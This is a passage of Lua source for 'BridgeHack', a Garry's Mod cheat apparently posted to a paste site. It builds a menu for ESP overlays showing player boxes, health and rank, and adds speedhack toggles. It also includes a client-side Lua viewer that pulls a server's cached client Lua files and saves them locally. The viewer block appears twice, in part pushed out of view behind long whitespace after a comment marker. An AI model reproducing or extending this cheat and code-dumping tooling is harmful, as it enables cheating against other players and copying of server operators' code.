  3439.                 end)
  3440.  
  3441.         end
  3442.  
  3443.        
  3444.  
  3445.         menu:AddSpacer()
  3446.  
  3447.                
  3448.  
  3449.         menu:AddOption( "Config Menu", function()
  3450.  
  3451.                 local DermaPanel = vgui.Create( "DFrame" )
  3452.  
  3453.                 DermaPanel:SetPos( 100, 100 )
  3454.  
  3455.                 DermaPanel:SetSize( 300, 400 )
  3456.  
  3457.                 DermaPanel:SetTitle( " " )
  3458.  
  3459.                 DermaPanel:SetVisible( true )
  3460.  
  3461.                 DermaPanel:SetDraggable( true )
  3462.  
  3463.                 DermaPanel:ShowCloseButton( false )
  3464.  
  3465.                 function DermaPanel:Paint( w, h )
  3466.  
  3467.                         draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )
  3468.  
  3469.                         draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )
  3470.  
  3471.                         draw.SimpleText( "BridgeHack Configuration Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
  3472.  
  3473.                 end
  3474.  
  3475.  
  3476.  
  3477.                 local Button = vgui.Create("DButton", DermaPanel)
  3478.  
  3479.                 Button:SetPos( 250, 2 )
  3480.  
  3481.                 Button:SetSize( 45, 19 )
  3482.  
  3483.                 Button:SetText( "" )
  3484.  
  3485.                 Button:SetTextColor( Color( 255, 255, 255) )
  3486.  
  3487.                 function Button:Paint( w, h )
  3488.  
  3489.                         draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
  3490.  
  3491.                         draw.SimpleText( "Close", "HeaderFont", 2, -2, Color( 255,255,255 ), 0, 0 )
  3492.  
  3493.                 end
  3494.  
  3495.                 Button.DoClick = function()
  3496.  
  3497.                         DermaPanel:Close()
  3498.  
  3499.                 end                    
  3500.  
  3501.  
  3502.  
  3503.                 DermaPanel:MakePopup()
  3504.  
  3505.  
  3506.  
  3507.                 local ESPMixer = vgui.Create( "DColorMixer", DermaPanel )
  3508.  
  3509.                 ESPMixer:SetPos( 10,170)
  3510.  
  3511.                 ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame
  3512.  
  3513.                 ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true
  3514.  
  3515.                 ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true
  3516.  
  3517.                 ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true
  3518.  
  3519.                 ESPMixer:SetColor( Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b")) )--Set the default color
  3520.  
  3521.                 daespvector = ESPMixer:GetColor()
  3522.  
  3523.  
  3524.  
  3525.                 local ESPMixButton = vgui.Create( "DButton",DermaPanel )
  3526.  
  3527.                 ESPMixButton:SetPos( 5, 265 )
  3528.  
  3529.                 ESPMixButton:SetText( "Set ESP Color" )
  3530.  
  3531.                 ESPMixButton:SetSize( 120, 15 )
  3532.  
  3533.                 ESPMixButton.DoClick = function()
  3534.  
  3535.                         print(daespvector)
  3536.  
  3537.                         ply:ConCommand("bh_esp_infocolor_r "..daespr)
  3538.  
  3539.                         ply:ConCommand("bh_esp_infocolor_g "..daespg)
  3540.  
  3541.                         ply:ConCommand("bh_esp_infocolor_b "..daespb)
  3542.  
  3543.                 end
  3544.  
  3545.  
  3546.  
  3547.                 local EspBoxes = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
  3548.  
  3549.                 EspBoxes:SetPos( 10, 25 )// Set the position
  3550.  
  3551.                 EspBoxes:SetValue( GetConVarNumber("bh_esp_box") )// Initial value ( will determine whether the box is ticked too )
  3552.  
  3553.                 EspBoxes:SetText("ESP Boxes")
  3554.  
  3555.                 EspBoxes:SetConVar( "bh_esp_box" )
  3556.  
  3557.                 EspBoxes:SizeToContents()
  3558.  
  3559.  
  3560.  
  3561.                 local ShowHP = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
  3562.  
  3563.                 ShowHP:SetPos( 10, 45 )// Set the position
  3564.  
  3565.                 ShowHP:SetValue( GetConVarNumber("bh_esp_hp") )// Initial value ( will determine whether the box is ticked too )
  3566.  
  3567.                 ShowHP:SetText("Show HP On ESP")
  3568.  
  3569.                 ShowHP:SetConVar( "bh_esp_hp" )
  3570.  
  3571.                 ShowHP:SizeToContents()
  3572.  
  3573.  
  3574.  
  3575.                 local ShowRank = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
  3576.  
  3577.                 ShowRank:SetPos( 10, 65 )// Set the position
  3578.  
  3579.                 ShowRank:SetValue( GetConVarNumber("bh_esp_rank") )// Initial value ( will determine whether the box is ticked too )
  3580.  
  3581.                 ShowRank:SetText("Show Rank On ESP")
  3582.  
  3583.                 ShowRank:SetConVar( "bh_esp_rank" )
  3584.  
  3585.                 ShowRank:SizeToContents()
  3586.  
  3587.  
  3588.  
  3589.                 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
  3590.  
  3591.                 Rdistance:SetPos( 10, 85 )// Set the position
  3592.  
  3593.                 Rdistance:SetValue( GetConVarNumber("bh_renderdistance_enable") )// Initial value ( will determine whether the box is ticked too )
  3594.  
  3595.                 Rdistance:SetText("Use a Maximum render distance")
  3596.  
  3597.                 Rdistance:SetConVar( "bh_renderdistance_enable" )
  3598.  
  3599.                 Rdistance:SizeToContents()
  3600.  
  3601.  
  3602.  
  3603.                 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
  3604.  
  3605.                 Rdistance:SetPos( 10, 105 )// Set the position
  3606.  
  3607.                 Rdistance:SetValue( GetConVarNumber("bh_notify") )// Initial value ( will determine whether the box is ticked too )
  3608.  
  3609.                 Rdistance:SetText("Top Scrolling Message")
  3610.  
  3611.                 Rdistance:SetConVar( "bh_notify" )
  3612.  
  3613.                 Rdistance:SizeToContents()
  3614.  
  3615.                
  3616.  
  3617.                 local PlaySound = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
  3618.  
  3619.                 PlaySound:SetPos( 10, 125 )// Set the position
  3620.  
  3621.                 PlaySound:SetValue( GetConVarNumber("bh_playsound") )// Initial value ( will determine whether the box is ticked too )
  3622.  
  3623.                 PlaySound:SetText("Menu sounds")
  3624.  
  3625.                 PlaySound:SetConVar( "bh_playsound" )
  3626.  
  3627.                 PlaySound:SizeToContents()
  3628.  
  3629.  
  3630.  
  3631.                 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
  3632.  
  3633.                 RenderDistance:SetPos( 25, 145) // Set the position
  3634.  
  3635.                 RenderDistance:SetSize( 280, 25 ) // Set the size
  3636.  
  3637.                 RenderDistance:SetText( "Max Render Distance" ) // Set the text above the slider
  3638.  
  3639.                 RenderDistance:SetMin( 0 ) // Set the minimum number you can slide to
  3640.  
  3641.                 RenderDistance:SetMax( 5000 )// Set the maximum number you can slide to
  3642.  
  3643.                 RenderDistance:SetDecimals( 1 ) // Decimal places - zero for whole number
  3644.  
  3645.                 RenderDistance:SetConVar( "bh_esp_rdistance" ) // Changes the ConVar when you slide
  3646.  
  3647.         end ):SetImage( "icon16/wrench.png" )
  3648.  
  3649.        
  3650.  
  3651.         menu:Open()
  3652.  
  3653.         end)
  3654.  
  3655.                        
  3656.  
  3657.         concommand.Add("-bh_menu", function( ply )
  3658.  
  3659.                 status("Menu Closed.")
  3660.  
  3661.                 if GetConVarNumber("bh_menu_effects") == 1 then
  3662.  
  3663.                         hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_off )
  3664.  
  3665.                 end
  3666.  
  3667.                 local menu = DermaMenu()
  3668.  
  3669.         end)
  3670.  
  3671.        
  3672.  
  3673.         function ESP_on( )
  3674.  
  3675.                 ply:ConCommand("bh_esp 1")
  3676.  
  3677.         end
  3678.  
  3679.        
  3680.  
  3681.         function ESP_off( )
  3682.  
  3683.                 ply:ConCommand("bh_esp 0")
  3684.  
  3685.         end
  3686.  
  3687.        
  3688.  
  3689.                 function speedhack_on(  )
  3690.  
  3691.                 ply:ConCommand("host_framerate 8;host_framerate 8")
  3692.  
  3693.                 status("Enabled SpeedHack")
  3694.  
  3695.         end
  3696.  
  3697.        
  3698.  
  3699.         function speedhack_off(  )
  3700.  
  3701.                 ply:ConCommand("host_framerate 0;host_framerate 0")
  3702.  
  3703.                 status("Disabled SpeedHack")
  3704.  
  3705.         end
  3706.  
  3707.        
  3708.  
  3709.         -- CL LUAVIEWER                                                                                                                                                                                                                                                                                         */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not  path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if  curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
  3710.  
  3711.  
  3712.  
  3713. /*
  3714.  
  3715. [[----------------------------------------------------------------]]    
  3716.  
  3717. [[----------------------------------------------------------------]]  
  3718.  
  3719.  ____    ___                       __                   __                    
  3720.  
  3721. /\  _`\ /\_ \    __               /\ \__         __    /\ \                    
  3722.  
  3723. \ \ \/\_\//\ \  /\_\     __    ___\ \ ,_\   ____/\_\   \_\ \     __            
  3724.  
  3725.  \ \ \/_/_\ \ \ \/\ \  /'__`\/' _ `\ \ \/  /',__\/\ \  /'_` \  /'__`\          
  3726.  
  3727.  \ \ \ \ \\_\ \_\ \ \/\  __//\ \/\ \ \ \_/\__, `\ \ \/\ \ \ \/\  __/          
  3728.  
  3729.   \ \____//\____\\ \_\ \____\ \_\ \_\ \__\/\____/\ \_\ \___,_\ \____\        
  3730.  
  3731.    \/___/ \/____/ \/_/\/____/\/_/\/_/\/__/\/___/  \/_/\/__,_ /\/____/        
  3732.  
  3733. /\ \                                    __                                    
  3734.  
  3735. \ \ \      __  __     __        __  __ /\_\     __   __  __  __     __   _ __  
  3736.  
  3737. \ \ \  __/\ \/\ \  /'__`\     /\ \/\ \\/\ \  /'__`\/\ \/\ \/\ \  /'__`\/\`'__\
  3738.  
  3739.  \ \ \L\ \ \ \_\ \/\ \L\.\_   \ \ \_/ |\ \ \/\  __/\ \ \_/ \_/ \/\  __/\ \ \/
  3740.  
  3741.   \ \____/\ \____/\ \__/.\_\   \ \___/  \ \_\ \____\\ \___x___/'\ \____\\ \_\
  3742.  
  3743.     \/___/  \/___/  \/__/\/_/    \/__/    \/_/\/____/ \/__//__/   \/____/ \/_/
  3744.  
  3745.                                                                                
  3746.  
  3747. [[----------------------------------------------------------------]]
  3748.  
  3749. [[----------------------------------------------------------------]]                                                                                                                                                                                                                                                                                                  */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not  path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if  curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
  3750.  
  3751.  
  3752.  
  3753. local VIEWER = {}
  3754.  
  3755.  
  3756.  
  3757. function VIEWER:Init()
  3758.  
  3759.   self:SetTitle("BridgeHack Clientside Lua Viewer")
  3760.  
  3761.   self:SetSize(1200, 550)
  3762.  
  3763.   self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
  3764.  
  3765.     surface.SetDrawColor(Color(108,153,192))
  3766.  
  3767.     surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
  3768.  
  3769.     surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
  3770.  
  3771.     end
  3772.  
  3773.   end
  3774.  
  3775. derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
  3776.  
  3777.  
  3778.  
  3779. /*
  3780.  
  3781. [[----------------------------------------------------------------]]    
  3782.  
  3783. [[----------------------------------------------------------------]]  
  3784.  
  3785.  ____                                    
  3786.  
  3787. /\  _`\                                  
  3788.  
  3789. \ \ \L\_\ __      ___     ___   __  __    
  3790.  
  3791.  \ \  _\/'__`\  /' _ `\  /'___\/\ \/\ \  
  3792.  
  3793.  \ \ \/\ \L\.\_/\ \/\ \/\ \__/\ \ \_\ \  
  3794.  
  3795.   \ \_\ \__/.\_\ \_\ \_\ \____\\/`____ \
  3796.  
  3797.    \/_/\/__/\/_/\/_/\/_/\/____/ `/___/> \
  3798.  
  3799.                                    /\___/
  3800.  
  3801.                                    \/__/
  3802.  
  3803. ____                                    
  3804.  
  3805. /\  _`\                                  
  3806.  
  3807. \ \ \L\ \___   _____   __  __  _____      
  3808.  
  3809. \ \ ,__/ __`\/\ '__`\/\ \/\ \/\ '__`\    
  3810.  
  3811.  \ \ \/\ \L\ \ \ \L\ \ \ \_\ \ \ \L\ \  
  3812.  
  3813.   \ \_\ \____/\ \ ,__/\ \____/\ \ ,__/  
  3814.  
  3815.    \/_/\/___/  \ \ \/  \/___/  \ \ \/    
  3816.  
  3817.                 \ \_\           \ \_\    
  3818.  
  3819.                  \/_/            \/_/                                                                                
  3820.  
  3821. [[----------------------------------------------------------------]]    
  3822.  
  3823. [[----------------------------------------------------------------]]    
  3824.  
  3825. */    
  3826.  
  3827.  
  3828.  
  3829. function DrawFancyPopup(message)
  3830.  
  3831.  fancyPopup = vgui.Create("DFrame")
  3832.  
  3833.  fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message )  end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
  3834.  
  3835. end
  3836.  
  3837.  
  3838.  
  3839. concommand.Add("testpopup", function() DrawFancyPopup("This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!") end) concommand.Add("bh_lua", function() vgui.Create("dcluaviewer"):MakePopup() end)
Add Comment
Please, Sign In to add comment